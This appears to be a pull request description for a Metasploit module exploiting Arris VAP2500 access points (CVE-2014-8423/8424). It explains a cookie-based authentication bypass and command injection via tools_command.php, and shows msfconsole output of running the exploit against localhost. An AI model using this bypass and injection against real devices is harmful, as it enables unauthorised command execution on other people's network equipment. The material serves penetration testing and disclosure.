Add module for Arris VAP2500 Remote Command Execution

This module is for exploiting vulnerable Arris VAP2500 access points using CVE-2014-8423 and CVE-2014-8424. The vulns in question are both in the web mgmt portal of the device: an auth bypass via setting a cookie p=md5(username) and a command injection in the tools_command.php page. The module makes an initial GET request using the cookie auth bypass and checks the result for the purposes of verifying vulnerability. If vulnerable, it makes a subsequent POST request setting the cmb_header param to '' and the txt_command param to the value of CMD specified in the module options. This can be verified against VAP2500 devices running firmware < 08.41 (which I can provide if needed) or by running the vulnerable version of the web mgmt portal in a standalone fashion from an extracted firmware image.

Example console output:
```
msf exploit(vap2500_tools_command_exec) > show options

Module options (exploit/linux/http/vap2500_tools_command_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST    127.0.0.1        yes       The target address
   RPORT    80               yes       The target port
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/generic):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   CMD                    yes       The command string to execute


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(vap2500_tools_command_exec) > set CMD whoami
CMD => whoami
msf exploit(vap2500_tools_command_exec) > exploit

[*] 127.0.0.1:80 - Trying to access the device ...
[*] 127.0.0.1:80 - Exploiting...
[+] 127.0.0.1:80 - Command sent successfully
msf exploit(vap2500_tools_command_exec) >
```
I don't think worths to check the response unless the payload in use is ```cmd/unix/generic```. With payloads providing sessions, a session is the best indication of success/failure.